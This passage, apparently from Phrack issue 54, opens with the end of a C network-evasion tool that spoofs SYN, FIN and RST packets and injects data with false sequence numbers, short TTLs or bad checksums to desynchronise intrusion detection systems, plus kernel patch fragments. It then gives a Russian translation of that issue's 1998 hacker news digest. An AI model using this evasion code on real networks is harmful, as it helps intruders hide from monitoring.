    nl=sizeof(sa);
    getsockname(__fd, (struct sockaddr *)&sa, &nl);
    from=sa.sin_addr.s_addr;
    src=sa.sin_port;

    #if __GLIBC__ == 2
    to=__addr.__sockaddr_in->sin_addr.s_addr;
    dest=__addr.__sockaddr_in->sin_port;
    #else
    to=((struct sockaddr_in *)__addr)->sin_addr.s_addr;
    dest=((struct sockaddr_in *)__addr)->sin_port;
    #endif

    if (cong_config.one_host_attack)
    {
        cong_send_tcp(inet_addr(FAKEHOST),
            to, 4242, dest, 0, 0,
            TH_SYN, NULL, 0, 0, 254);
        DEBUG("Spoofed Fake SYN Packet\n");
    }

    if (cong_config.syn_chk)
    {
        /* This is a potential problem that could mess up
        * client programs. If necessary, we bind the socket
        * so that we can know what the source port will be
        * prior to the connection.
        */
        if (src==0)
        {
            bind(__fd, (struct sockaddr *)&sa, nl);
            getsockname(__fd, (struct sockaddr *)&sa, &nl);
            from=sa.sin_addr.s_addr;
            src=sa.sin_port;
        }

        cong_send_tcp(from, to, src, dest, htonl(fakeseq), 0,
            TH_SYN, NULL, 0, 100, 254);
        DEBUG("Sent Pre-Connect Desynchronizing SYN.\n");
        fakeseq++;
    }

    DEBUG("Connection commencing...\n");

    #ifndef __OpenBSD__
    result=cong_connect(__fd, __addr, __len);
    #else /* not openbsd */
    result=syscall(SYS_connect, __fd, __addr, __len);
    #endif

    if (result==-1)
    {
        if (errno!=EINPROGRESS)
            return -1;
        /* Let's only print the warning once */
        if (cong_init++==2)
            fprintf(stderr, "Warning: Non-blocking connects might not work right.\n");
    }

    /* In case an ephemeral port was assigned by connect */

    nl=sizeof(sa);
    getsockname(__fd, (struct sockaddr *)&sa, &nl);
    from=sa.sin_addr.s_addr;
    src=sa.sin_port;

    if (cong_config.syn_seq)
    {

```

```

    □□cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
    □□TH_SYN, NULL, 0, 0, 254);
    □□cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
    □□TH_SYN, NULL, 0, 0, 254);

    □□DEBUG("Sent Desynchronizing SYNs.\n");
    □}

    □if (cong_config.data_seq)
    □{
    □□cong_send_data(from,to,src,dest,(fakeseq),0,0,254);
    □□DEBUG("Inserted 8K of data with incorrect sequence numbers.\n");
    □□fakeseq+=8*1024;
    □}

    □if (cong_config.fin_seq)
    □{
    □□cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
    □□TH_FIN, NULL, 0, 0, 254);
    □□cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
    □□TH_FIN, NULL, 0, 0, 254);

    □□DEBUG("Spoofed FINs with incorrect sequence numbers.\n");
    □}

    □if (cong_config.rst_seq)
    □{
    □□cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
    □□TH_RST, NULL, 0, 0, 254);
    □□cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
    □□TH_RST, NULL, 0, 0, 254);

    □□DEBUG("Spoofed RSTs with incorrect sequence numbers.\n");
    □}

    #ifdef KERNELSUPPORT
    #ifdef __OpenBSD__

    □if (cong_config.ttl==1)
    □□if (cong_ttl_cache!=to)
    □□{
    □□□ttl=cong_find_ttl(from,to)-1;
    □□□cong_ttl_cache=to;
    □□□cong_ttl=ttl;
    □□}
    □□else
    □□□ttl=cong_ttl;
    □if (ttl<0)
    □{
    □□fprintf(stderr,"Warning: The target host is too close for a ttl attack.\n");
    □□cong_config.data_ttl=0;
    □□cong_config.fin_ttl=0;
    □□cong_config.rst_ttl=0;
    □□ttl=0;
    □}

    □syscall(242, __fd, &type, &realseq, &recvseq);
    □ttlseq=realseq;

    #endif /*openbsd */

    □if (cong_config.data_ttl)
    □{
    □□cong_send_data(from,to,src,dest,(ttlseq),recvseq,0,ttl);
    □□DEBUG("Inserted 8K of data with short ttl.\n");
    □□ttlseq+=1024*8;
    □}

    □if (cong_config.fin_ttl)
    □{
    □□cong_send_tcp(from, to, src, dest, htonl(ttlseq++),

```

```

    □□htonl(recvseq),TH_FIN, NULL, 0, 0, ttl);
    □□cong_send_tcp(from, to, src, dest, htonl(ttlseq++),
    □□htonl(recvseq),TH_FIN, NULL, 0, 0, ttl);
    □□DEBUG("Spoofed FINs with short ttl.\n");
    □}

    □if (cong_config.rst_ttl)
    □{
    □□cong_send_tcp(from, to, src, dest, htonl(ttlseq++),
    □□htonl(recvseq),TH_RST, NULL, 0, 0, ttl);
    □□cong_send_tcp(from, to, src, dest, htonl(ttlseq++),
    □□htonl(recvseq),TH_RST, NULL, 0, 0, ttl);
    □□DEBUG("Spoofed RSTs with short ttl.\n");
    □}

    □if (cong_config.data_chk)
    □{
    □□cong_send_data(from,to,src,dest,(realseq),recvseq,100,254);
    □□DEBUG("Inserted 8K of data with incorrect TCP checksums.\n");
    □□realseq+=1024*8;
    □}

    □if (cong_config.fin_chk)
    □{
    □□cong_send_tcp(from, to, src, dest, htonl(realseq++),
    □□htonl(recvseq),TH_FIN, NULL, 0, 100, 254);
    □□cong_send_tcp(from, to, src, dest, htonl(realseq++),
    □□htonl(recvseq),TH_FIN, NULL, 0, 100, 254);
    □□DEBUG("Spoofed FINs with incorrect TCP checksums.\n");
    □}

    □if (cong_config.rst_chk)
    □{
    □□cong_send_tcp(from, to, src, dest, htonl(realseq++),
    □□htonl(recvseq),TH_RST, NULL, 0, 100, 254);
    □□cong_send_tcp(from, to, src, dest, htonl(realseq++),
    □□htonl(recvseq),TH_RST, NULL, 0, 100, 254);
    □□DEBUG("Spoofed RSTs with incorrect TCP checksums.\n");
    □}

    #endif /* kernel support */

    □return result;
    }

    --- netinet.patch ---

    Common subdirectories: /usr/src/sys.2.4.orig/netinet/CVS and netinet/CVS
    diff -u /usr/src/sys.2.4.orig/netinet/in.h netinet/in.h
    --- /usr/src/sys.2.4.orig/netinet/in.h  Tue Dec  8 10:32:38 1998
    +++ netinet/in.h  Tue Dec  8 10:48:33 1998
    @@ -325,7 +325,10 @@
    #define IPCTL_IPPORT_LASTAUTO 8
    #define IPCTL_IPPORT_HIFIRSTAUTO 9
    #define IPCTL_IPPORT_HILASTAUTO 10
    -#define IPCTL_MAXID 11
    +#define IPCTL_FRAG_HACK_HEAD 11
    +#define IPCTL_FRAG_HACK_BODY 12
    +#define IPCTL_OPTIONS_HACK 13
    +#define IPCTL_MAXID 14

    ...

    +#define PRU_SOCKINFO 22
    +#define PRU_NREQ 22

    --- kern.patch ---

    +int
    +sys_getsockinfo(p, v, retval)
    +struct proc *p;

```



```
+void *v;
+register_t *retval;
+{
+...
+242STD{ int sys_getsockinfo(int fdes, int *type, \
+    int *seq, int *ack); }
```

---

*EOF*

# Phrack World News

## Выпуск 54

Привет. В Phrack World News (PWN) внесены некоторые изменения, которые, вероятно, будут скорректированы и в дальнейшем. В связи с возросшим потоком новостей о безопасности, хакерах и прочих темах PWN всё сложнее держать читателей Phrack в курсе всего происходящего. Для борьбы с этой проблемой PWN будет включать больше статей, но только наиболее актуальные фрагменты (или те, по которым мне есть что сказать). Если хотите прочитать полную версию статьи, загляните в архивы ISN (InfoSec News), расположенные по адресу:

`ftp.repsec.com`                      `/pub/text/digests/isn`

Если вы хотите получать своевременные новости с меньшим количеством едких комментариев, можете подписаться на ISN, отправив письмо на `majordomo@repsec.com` с текстом «subscribe isn» в теле сообщения.

Приведённые ниже статьи собраны из самых разных источников. Там, где это известно, указаны оригинальный источник, автор и дата. Если эти сведения отсутствуют — значит, они к нам не поступали.

Как обычно, я добавляю собственные комментарии в скобках, чтобы помочь читателям заметить то, что в статьях опущено. Комментарии являются моим личным мнением и не обязательно отражают взгляды Phrack, журналистов, государственных шпионов, моего кота или кого-либо ещё. Если вас интересуют более серьёзные комментарии по поводу убогой журналистики, которая нас преследует, посетите веб-страницу Security Scene Errata: <http://www.attrition.org/errata/>

Если хотите написать мне письмо, пожалуйста, поставьте в копию `route@infonexus.com` — пусть он видит, что у меня действительно есть поклонники. Если хотите написать моему коту — не стоит: он вас ненавидит, потому что в его глазах вы плебей. Мяу.

Этот выпуск PWN посвящается федералам, хакерам и откровенной тупости. Он создан при поддержке букв, из которых складывается слово «идиотизм».

— disorder

---

- 0x1: Юные взломщики признают вину
- 0x2: Выпускники ФБР получают пистолет, жетон и теперь ещё ноутбук
- 0x3: Знакомьтесь: охотники за хакерами
- 0x4: Министерство юстиции собирается нанимать хакеров
- 0x5: Гарантия от взломщиков
- 0x6: Первая в истории страховка от хакеров
- 0x7: Новое подразделение для борьбы с высокотехнологичной преступностью (Национальное полицейское агентство)
- 0x8: Первое подразделение «кибервоинов» готово к оперативному статусу (МО)
- 0x9: Отслеживание глобальной киберпреступности (Торговая палата)
- 0xa: ФБР открывает высокотехнологичный кризисный центр
- 0xb: ВМС борются с новым методом взлома
- 0xc: Пентагон блокирует DoS-атаку
- 0xd: Хакеры уходят от сотрудников центра ускорителя
- 0xe: Кибератаки оставляют федералов гоняться за «призраком»
- 0xf: Конгресс атакует фонды киберзащиты
- 0x10: Mudge о вендорах безопасности

- 0x11: Новые задержки в деле Митника
- 0x12: «Чёрный ход» далеко не уходит
- 0x13: Сотрудник ICSA притворяется хакером
- 0x14: Ваш ребёнок — хакер?
- 0x15: Сеть пейджинговой связи захвачена
- 0x16: ФБР задерживает хакера, продававшего тайные аккаунты в системе PageNet
- 0x17: Машина EFF для взлома DES вносит честность в криптодебаты
- 0x18: Сайт о взломах взломали
- 0x19: От преступников к веб-поисковикам
- 0x1a: Используйте Microsoft OS в сети? Примите наши соболезнования
- 0x1b: Эксперт по безопасности объясняет взлом сайта New York Times
- 0x1c: Merriam-Webster отключили по старинке
- 0x1d: Длинноволосый хакер творит чудеса
- 0x1e: Вещественные доказательства
- 0x1f: Золотой век хактивизма
- 0x20: Phrack балансирует между мирами хакеров
- 0x21: Полиция слабо надеется на контроль над компьютерной преступностью

---

## 0x1: Юные взломщики признают вину

**Источник:** Wired

**Дата:** 1:10pm, 11.Jun.98

Двое подростков из Калифорнии признали себя виновными в соответствии с федеральными обвинениями во взломе компьютеров Пентагона, сообщает San Francisco Chronicle.

Условия сделки всё ещё обсуждаются на переговорах между адвокатами молодых людей и федеральными чиновниками, состоявшихся на прошлой неделе, сообщила газета. По словам источников, близких к делу, ни один из подростков не ожидает реального заключения под стражу.

В феврале ФБР провело обыски в домах двух предполагаемых взломщиков в Кloverдейле — известных под никами Makaveli (16 лет) и TooShort (15 лет) — и изъяло компьютеры, которые, предположительно, использовались для проникновения в несекретные компьютерные системы государственных органов, военных баз и университетов.

[Отстойно попасться. Ещё хуже — признать вину в том, что ты скрипт-кидди.]

Подростки так и не были формально арестованы в ходе расследования ФБР. Заместитель министра обороны США Джон Хамре назвал этот инцидент «наиболее организованной и систематической атакой» на системы Пентагона на сегодняшний день.

[Федералы любят тыкать пистолетом в лицо этим детишкам. Но не арестовывать их.]

---

**Источник:** TechWeb

**Дата:** 7.22.98

Когда стажёры-спецагенты ФБР оканчивают академию бюро в Куантико, штат Вирджиния, каждому из них выдаётся пистолет, жетон — и теперь ещё ноутбук.

[К сожалению, понимание того, что происходит, им не выдают.]

Современные преступления часто предполагают использование сложных технологий, и новые агенты должны уметь метко стрелять, знать закон и уметь работать с техникой.

Частью обязанностей ФБР является расследование компьютерных преступлений и вопросов национальной безопасности. Из-за потребности в специализированных навыках бюро конкурирует с другими ведомствами — Секретной службой, Центральным разведывательным управлением (ЦРУ) — а также с частным сектором в вопросе привлечения рекрутов.

[Отличная низкая зарплата! Много командировок! Никакого уважения! Вступайте в ФБР!]

Генеральный прокурор Джанет Рено, выступая на конференции по безопасности детей в интернете в декабре, призвала технологическое сообщество помогать правоохранительным органам.

Но призыв Рено не означает превращения компьютерных гиков в агентов. ФБР ведёт набор в высокотехнологичной отрасли и в колледжах и университетах — ему нужны спецагенты с иными качествами помимо дипломов в области компьютерных наук.

«Для человека с углублёнными компьютерными навыками нет отдельной категории [в ФБР], — сказал специальный агент Рон Ван Вракен, пресс-секретарь ФБР. — Но такой человек очень востребован. Мы понимаем, что нам нужно привлекать подобных людей в ФБР».

ФБР не одиноко в этом стремлении.

ЦРУ разместило на своём сайте обширный список вакансий, связанных с технологиями. Там числятся постоянные требования к инженерам по системам знаний, разработчикам программного обеспечения и инженерам-электронщикам — рядом с позициями вроде специалиста по театральным эффектам и стажёра закрытой разведывательной службы.

[И всё же ЦРУ вовсю ищет занятие для своих шпионов, отвергнутых после холодной войны...]

Хотя ЦРУ не является правоохранительным органом, как ФБР и Секретная служба, оно тоже охотится за «плохими парнями» и нуждается в людях, обученных работе с технологиями, сообщила Аня Гилшер, пресс-секретарь агентства. «Нас очень интересуют люди с продвинутыми технологическими навыками», — сказала она.

Секретная служба, расследующая финансовые преступления и охраняющая президента, тоже ведёт поиск. Среди её вакансий есть должности специалистов по компьютерам и телекоммуникациям.

Идеальный кандидат для этих ведомств не обязательно должен быть компьютерным гением, говорит Рон Уильямс, бывший агент Секретной службы и нынешний генеральный директор высокотехнологичной охранной компании Talon Technology.

«Идеальный кандидат — разносторонний человек», — сказал он, добавив, что такой человек должен понимать компьютеры, иметь хорошие коммуникативные навыки и знать человеческое поведение.

«Чтобы поймать преступника, нужно думать как он, — сказал Уильямс. — Можно взять агентов, и если у них есть хорошее уличное чутьё и знание компьютеров, из них можно сделать детективов-хакеров».

[Гипотетически... поскольку этого ещё никто не сделал.]

---

### **0x3: Знакомьтесь: охотники за хакерами**

Толпа заключённых в полосатой мультяшной робе медленно тянется вдоль тротуара под полуденным зноем. Это центр Феникса — малоэтажный высокотехнологичный город с подчёркнуто старомодным подходом к борьбе с преступностью. Из своего офиса на шестом этаже здания прокуратуры обвинитель смотрит на заключённых без малейшего сочувствия. «У людей здесь нет

особого сочувствия к преступникам любого рода. И большинство из этих людей — настоящие преступники, а не раздутые ничтожества, которые кричат, требуя внимания, — с такими я и работаю!»

Познакомьтесь с Гэйл Тэкеи — ведущим в мире правовым экспертом по компьютерным преступлениям. Бывший помощник генерального прокурора штата Аризона, она борется с хакерами и мошенниками уже почти 25 лет. Сейчас она работает прокурором в прокуратуре округа Марикопы — округа размером с Новую Англию, охватывающего весь Феникс. Округ наиболее известен как дом шерифа Джо Арпайо, «самого жестокого шерифа в Америке». Именно этот человек ответственен за заключённых в полосатых робах. Он создал себе репутацию, ужесточив условия содержания в тюрьмах, что вызвало громкие возгласы одобрения от любящих свободу жителей Аризоны.

Добропорядочные граждане округа Марикопы теперь могут спокойно ходить по улицам, но для крупных технологических компаний, переехавших в «солнечную долину», невидимая рука хакеров и компьютерных фрикеров превращается в серьёзную проблему. Будь то остаточный дух хиппи, студенческий городок или просто реакция на лютую жару, Феникс — одно из ведущих мест сосредоточения компьютерных преступников. Тэкеи здесь, чтобы им помешать.

В Аризоне, пожалуй, самое жёсткое в США законодательство против хакеров, но порой Гэйл мечтает бить огнём по огню. «Мы должны документировать каждый шаг расследования. Им же не нужно нашего образования. Достаточно одного другого жулика, который покажет, как обезьянки перед клавиатурой, как скопировать преступление. Форумы были предвестниками всего этого, но сеть взорвала эту проблему до уровня отдельного человека в любой точке мира. Не нужны сложные знания, не нужно даже хорошее оборудование — один из лучших хакеров, с которыми мы когда-либо имели дело, использовал Compaq-"чемоданчик" 286, и сеял хаос по всему миру. Список его маршрутов по различным системам, подключённым к интернету, обеспечит меня работой в хакерском бизнесе до конца жизни — он занимает страницы».

## **Как уходить от ответственности**

Мы переходим из её кабинета в соседнюю переговорную комнату. Тэкеи с гордостью демонстрирует новый ноутбук Compaq. Её знаменитое слайд-шоу теперь хранится на жёстком диске ноутбука. На протяжении многих лет, которые она предпочла бы не считать, Тэкеи показывала свои слайды полицейским и прокурорам по всей стране, объясняя, как строить дело против хакеров. Она также обучает полицейские силы по всей стране, включая агентов Секретной службы в федеральном учебном центре Джорджии. Известно, что даже плохие парни звонили ей, чтобы узнать, что предпринимают копии.

Хотя она занимается отловом хакеров уже 25 лет, Тэкеи как никогда подавлена нарастающим масштабом компьютерных преступлений. По её словам, веб сделал поимку мошенников практически невозможной. «Даже если это сосед за стеной, у нас нет шансов. Он может делать что-то гнусное с вашей высокотехнологичной консалтинговой фирмой, он может сидеть по соседству и пытаться стащить ваши данные — но он проходит через оператора дальней связи, корпоративную телефонную систему, три интернет-провайдера и дважды огибает земной шар, прежде чем добраться до вас. Вот в чём проблема с нашей точки зрения. Даже если предположить, что все эти стороны смогут отследить свои участки цепочки, нам придётся проходить через разные процедуры и, вероятно, разные правоохранительные органы на каждом шагу.

«В старые времена техасские рейнджеры были очень известны поимкой грабителей банков. Они не останавливались у границы Техаса, преследуя убийцу. Они запрыгивали на лошадь и, даже пересекая границу штата, следовали куда угодно. В компьютерную эпоху мы не можем делать ничего подобного. То, что у нас сейчас есть в США, — это мешанина из законов и ведомств.

Умножьте это на международный уровень, и всё выходит из-под контроля».

## **Высокотехнологичная правоохранительная деятельность**

Тэкері переехала в Аризону в 1986 году, начав карьеру прокурора в Филадельфии. Она работала в офисе генерального прокурора, возглавляя подразделение по борьбе с организованной преступностью и рэккетом, завоевавшее национальную известность своими техническими возможностями в борьбе с хакерами. Она также была мозговым центром Операции «Сандевил» — первого общенационального скоординированного рейда против хакеров. Но затем демократия сделала поворот, и она стала жертвой странного процесса, посредством которого американцы выбирают своих старших должностных лиц в сфере правопорядка. Её начальник проиграл выборы на пост генерального прокурора. Победителя не интересовали технологии, и 12 человек были уволены, включая Тэкері.

Делая паузу в слайд-шоу, она показывает мне небольшую программу генерации чисел, хранящуюся на её ноутбуке. Она генерирует случайные номера карт Visa. Введите четырёхзначный код, идентифицирующий эмитента карты — и через несколько минут у вас есть сотни поддельных номеров кредитных карт для работы. «А теперь предположите, что у вас есть ещё одна маленькая программа, которая заставит банк думать, что эти номера настоящие — сколько вы думаете, можно на этом заработать?» Мы выходим в сеть и смотрим некоторые хакерские сайты. Тэкері считает, что веб значительно упростил совершение самых разных преступлений. «В будущем хорошие части интернета станут больше, сложнее и доступнее большему числу людей — и это прекрасно. Но это значит, что у всех этих людей появится потенциальный статус жертвы. Благодаря росту веба один преступник теперь может нанести беспрецедентный ущерб — будь то корпорациям или чувствам отдельных людей посредством угроз и сталкинга, спам-атаками или просто отключением провайдеров.

«За первые шесть месяцев этого года у нас было четыре инцидента. Эти люди атакуют не только маленьких местных провайдеров, но и некоторых из 19 магистральных интернет-операторов. Они абсолютно беспощадны и им всё равно, кому они причиняют вред. В одном случае в Тусоне десятки тысяч пользователей были отключены только потому, что некий человек с уровнем зрелости подростка решил, что злитесь на другого провайдера, и отключил всех его клиентов. Это пугающе легко сделать — хватило одного широковеб-сообщения. Все маршрутизаторы, на которых работает интернет, периодически обмениваются данными, поэтому, если вы можете заразить один маршрутизатор, он со временем заразит весь мир. Именно это и произошло. Всему миру потребовалось всего несколько дней, чтобы поверить, что этот провайдер и все его клиенты не существуют». Веб не только является домом для целого нового спектра преступлений, но и служит прибежищем для совершенно новой породы чудиков. «К сожалению, веб — это лучший игровой парк, который когда-либо был изобретён для социопатов. Они могут прятаться, быть анонимными и оставаться неотслеживаемыми. Никто не несёт ответственности, и это даёт им то ощущение власти, которым, по словам психологов, они и живут. Это весь смысл их существования. Это прилив сил от осознания того, что ты можешь сделать это и уйти безнаказанным. Мы всё чаще видим акты бессмысленного разрушения просто ради того, чтобы показать, что ты это можешь».

Считает ли она, что это новое поколение веб-хакеров представляет реальную угрозу для людей? «Каждый ребёнок в Америке знает систему экстренной помощи 911. Если мама тонет в бассейне, трёхлетние дети уже спасали её, позвонив по 911. Хакеры атакуют систему 911, и продолжают это делать. Это не ради знаний и не ради славы, это просто акт злобного эгоизма».

## **Крысиные норы и технический бред**

В западных штатах США личная свобода воспринимается очень серьезно. Никто не любит идею «большого правительства», вмешивающегося в жизнь людей. Даже хакеры вызывают сочувствие, когда жалуются на преследования со стороны полиции и прокуроров. Некоторые говорят, что стали жертвами властей.

Тэкері это отрицает. «Это хакерский миф о том, что мы забираем их компьютеры и держим их вечно. В одном случае у парня было более 12 Гб данных, хранящихся в его системе — это эквивалент 15 000 книг в мягкой обложке. Лучше нам изъять весь этот материал — на одном диске могут оказаться любовные письма, рецепты поваренной книги и ваше письмо с требованием выкупа. Мы не можем взять одно, не взяв другое. Мы физически не можем скопировать такой объем. Нам намного проще забрать компьютеры, чем полгода жить у вас дома».

На экране проектора появляется убогая спальня. Повсюду банки из-под колы, мусор разбросан по неубранной кровати. В углу стоит обнаженный компьютер — без корпуса, с торчащими проводами. Тэкері называет это крысиным гнездом. У неё сотни похожих фотографий. «Ещё в Филадельфии я начала собирать фотографии компьютеров с торчащими проводами. Когда компьютерные умники выступают перед присяжными, мы называем язык, которым они говорят, "технобредом". То, что вы здесь видите, — это физическая версия технобрёда». Она указывает на экран. Как правило, хакеры устанавливают стереосистему в пределах досягаемости от компьютера, а нередко и бар с напитками.

Относительно новым явлением является домашняя сеть. «В последнее время нам попадались четыре или пять домов, где у людей в доме объединены в сеть несколько систем. И это даже без запуска форума. Когда нам везёт и мы достаточно быстры, мы можем найти виновный компьютер — но самая сложная часть работы — это найти мозг за компьютером. Для этого нужна добрая старая низкотехнологичная полицейская работа».

Команда Тэкері сталкивается с ещё одной новой проблемой, вызванной колоссальным ростом объема хранилища. «В мире компьютеров никто ничего не выбрасывает. Это усложняет нашу жизнь. Мы не хотим читать вашу электронную почту за последние пять лет — жизнь слишком коротка, и, честно говоря, она не настолько интересна. Но иногда мы ищем один кусок доказательства, а он похоронен в огромном объеме материала — что нам ещё делать?»

## **Отслеживание или преследование?**

Слайд-шоу подходит к концу. Мы не спеша спускаемся в офис другого следователя. Он показывает нам коллекцию хакерских материалов на своём компьютере. Я спрашиваю Гэйл о будущем. Она считает, что без коренных изменений в том, как полиция относится к компьютерным преступлениям, надежды нет никакой. «Полицейские управления и прокуроры по всей стране — это, откровенно говоря, военизированные организации с очень бюрократическими, многоуровневыми процессами принятия решений. Они видят необходимость в более тщательной подготовке по борьбе с бандами; они не видят необходимости в подготовке по компьютерным вопросам, потому что руководство пришло из клуба ножей и пистолетов.

«Полицейское руководство под властью людей, занимающихся физическими преступлениями. Нам нужно разрушить часть этих барьеров. Когда мы движемся, нам нужно двигаться быстро, как техасские рейнджеры — и юридически, и бюрократически мы пока не там. Когда я начинала 20 лет назад, правоохранительные органы отставали от волны компьютерных преступлений. Сегодня мы отстали ещё больше, чем тогда».

Мэтт МакГрат — следственный журналист, работающий на Radio 5.

---

## 0x4: Министерство юстиции собирается нанимать хакеров

**Источник:** Business Week

**Дата:** 6 августа 1998 г.

Требуются: хакеры для взлома компьютерной сети Министерства юстиции. В рамках программы под названием «Операция Взломай Орешек» Министерство юстиции искало членов компьютерного андерграунда на конференции хакеров Def Con в Лас-Вегасе в конце июля. Генеральный прокурор Джанет Рено тихо выделила \$1 млн на найм до 16 хакеров для тестирования сетей Министерства, сообщает источник в Министерстве юстиции, которое ни подтвердило, ни опровергло операцию.

[Угу... хм... не буду туда лезть.]

---

## 0x5: Гарантия от взломщиков

**Источник:** Wired News

**Дата:** 9:05 a.m., 5.Oct.98

CIGNA Secure Systems Insurance предлагает страховой полис на ответственность в размере \$25 млн, предназначенный для покрытия убытков от атак компьютерных взломщиков, заявила компания в понедельник.

Для получения страхового покрытия клиент должен защитить свои системы или пройти проверку у утверждённой CIGNA компании по управлению безопасностью. В противном случае потенциальным клиентам предлагается заключить договор с компанией NetSolve совместно с программным обеспечением обнаружения вторжений Cisco NetRanger, предварительно одобренным CIGNA.

CIGNA Secure Systems Insurance предоставляет страховое покрытие от кражи денег, ценных бумаг и имущества; от ущерба, нанесённого взломщиками данным или программному обеспечению компании; а также от потерь в бизнесе, вызванных атаками на компьютерные системы.

[И как они оценивают вашу информацию? Кто проверяет систему, чтобы убедиться, что вы говорите правду о своём полисе?]

Недавнее исследование Института компьютерной безопасности и ФБР выявило рост на 36 процентов по сравнению с предыдущим годом в потерях от нарушений компьютерной безопасности. Тем не менее, традиционные полисы имущественного страхования и страхования ответственности не учитывают эти риски, по данным CIGNA.

«Это красивый маркетинговый ход, — сказал консультант по компьютерной безопасности Пит Шипли. — Но если кто-то сосредоточен на взломе сайта, рано или поздно он прорвётся. Не существует такой вещи, как защищённый сайт; безопасность — это экономика, вопрос денег и того, сколько вы хотите вложить».

На вопрос о том, какой тип вторжения может привести к иску на \$25 млн, Шипли выразил скептицизм.

«Хотя я не читал соглашения, я почти уверен, что вы не получите столько, — сказал он. — Вам придётся доказать убытки, приближающиеся к этой сумме, а это, вероятно, будет крайне сложно сделать».

---



## 0x6: Первая в истории страховка от хакеров

**Источник:** Reuters

**Дата:** 14-JUN-98

**Автор:** Терес Полетти

Одна компания по компьютерной безопасности настолько уверена в своей безопасности, что предлагает защищать своих клиентов с помощью первой в истории страховки от хакеров на случай успешного вторжения.

[Насколько безопасна, что хакеры сбросили логи взломанной машины ICSA на несколько IRC-каналов. Делай, что говорим, а не то, что делаем.]

ICSA Inc. (Международная ассоциация компьютерной безопасности) теперь предлагает в рамках своего сервиса TruSecure страховку от хакерских атак. ICSA выплатит до \$250 000, если сеть клиента будет взломана после того, как клиент выполнил все критерии TruSecure.

«Это первая страховка, связанная с хакерами, — сказал Питер Тиббет, президент ICSA из Карлайла, Пенсильвания. — Мы готовы отвечать за свои слова деньгами».

ICSA продаёт сервис TruSecure за \$40 000 в год. Сервис, предлагаемый уже несколько лет, представляет собой ряд шагов, методов и процедур, которым должен следовать клиент ICSA. Некоторые шаги — это простые меры здравого смысла, например, размещение сервера, на котором находится корпоративный веб-сайт, в закрытой комнате.

[Вы платите \$40 000 в год за страховку на \$250 000. Довольно высокая премия. На \$40 000 можно купить немало консультаций по безопасности и дополнительных мер защиты.]

Другие шаги более сложны, например, требование наличия надёжного файрвола вокруг внутренней сети.

Но ICSA не продаёт продукты. Вместо этого она рекомендует целый ряд программного обеспечения, которое она одобрила как безопасное, соответствующее её стандартам, через открытые совещания и дискуссии со всеми её членами, многие из которых разрабатывают продукты безопасности.

Затем ICSA тестирует безопасность клиента с помощью типичных хакерских методов — силами примерно 100 своих сотрудников, никто из которых не является реформировавшимся хакером. ICSA, как и руководители IBM, проводящей «этичный» взлом своих клиентов, считает, что не бывает реформировавшихся хакеров.

«Мы атакуем их хакерскими инструментами и смотрим, где находятся их уязвимости», — сказал Тиббет, имея в виду многие широко используемые хакерские программы, доступные в интернете или распространяемые среди хакеров. «В среднем сайту требовалось около двух недель, чтобы выйти на уровень, соответствующий всем нашим требованиям».

После завершения ICSA шестиэтапного процесса тестирования и повышения безопасности компании клиент считается защищённым и получает страховку.

ICSA заявила, что будет платить клиентам, если они попадутся хакерам, даже если не понесут финансовых потерь от атаки.

«Независимо от того, потеряли вы деньги или нет, мы заплатим, — сказал Тиббет. — Мы считаем, что значительно снижаем риск... Да, мы ожидаем выписывать чеки, но не ожидаем выписывать их часто».

Тиббет сравнивает ICSA с Центром по контролю и профилактике заболеваний, поскольку организация отслеживает все хакерские атаки и тестирует каждый хакерский инструмент и вирус, которые могут найти её программисты. ICSA также известна своим центром экстренного

реагирования, отслеживающим последствия известных компьютерных вирусов и помогающим компаниям в кризисных ситуациях.

«"Достаточно хорошего" никогда не будет достаточно совершенным, — сказал Тиббет. — Но у нас есть мотивация совершенствовать наш сервис. Если нам приходится выписывать чек, когда кого-то взламывают, это даёт нам дополнительный стимул».

Компания сообщила, что сотрудничает с крупными национальными страховщиками, которые признают сертификацию ICSA TruSecure обязательным условием для страховых полисов от хакеров.

---

## **0x7: Новое подразделение для борьбы с высокотехнологичной преступностью**

**Автор:** Yomiuri Shimbun

**Дата:** 5 июня 1998 г.

Национальное полицейское агентство планирует создать специальное подразделение «киберполиции» для борьбы с ростом высокотехнологичных преступлений, связанных с интернетом и другими новыми технологиями, сообщило агентство, объявив в среду о своей новой программе борьбы с высокотехнологичной преступностью. Информация будет обмениваться с зарубежными следственными коллегами на круглосуточной основе, говорится в сообщении. Программа будет включать специальные отряды по борьбе с высокотехнологичной преступностью на префектурном уровне, а также советников по информационной безопасности в префектурных полицейских управлениях, которые будут напрямую взаимодействовать с частным сектором, с которым НПА хочет скоординировать свои усилия. Агентство также запросит бюджет на «защищённый от хакеров» суперкомпьютер в следующем финансовом году.

В прошлом году НПА зафиксировало 263 высокотехнологичных преступления — в восемь раз больше, чем в 1992 году. Высокотехнологичная преступность стояла на повестке дня саммита «Большой восьмёрки» в Великобритании в прошлом месяце, где восемь лидеров договорились отчитаться о своих усилиях по борьбе с высокотехнологичной преступностью на саммите G8 в Кёльне, Германия, в следующем году. НПА заявило, что нынешнее законодательство Японии неадекватно, и намерено добиться принятия новых законов, ограничивающих доступ к компьютерам лицам с преступными намерениями.

---

## **0x8: Первое подразделение «кибервоинов» готово к оперативному статусу**

**Автор:** Брайан Бендер

**Дата:** 17 июня 1998 г.

Министерство обороны США (МО) планирует развернуть своё первое оперативное подразделение «кибервоинов» к сентябрю для защиты от компьютерных атак, направленных против американских вооружённых сил, и реагирования на них, сообщают официальные представители ведомства.

Объединённый комитет начальников штабов (ОКНШ) изучает несколько предложений по Совместной оперативной группе компьютерной защиты, и председатель ОКНШ генерал Генри Шелтон, как ожидается, в ближайшее время представит рекомендацию министру обороны Уильяму Коэну, который будет иметь прямые полномочия в отношении этой организации.

ОКНШ располагает ячейкой реагирования на компьютерные атаки в своём оперативном директорате, однако она «не была закреплена как боевой орган», сообщил пресс-секретарь ОКНШ лейтенант-командер Джим Брукс.

Оперативная группа, которая будет проводить оборонительные, а не наступательные информационные операции, будет иметь необходимые полномочия для принятия мер в случае информационных атак. Официальные лица определяют структуру подразделения, место его дислокации и стоимость.

По их словам, новое подразделение должно будет тесно взаимодействовать с другими федеральными агентствами, в первую очередь с ФБР, с учётом конституционных ограничений, наложенных на вооружённые силы США в сфере правопорядка.

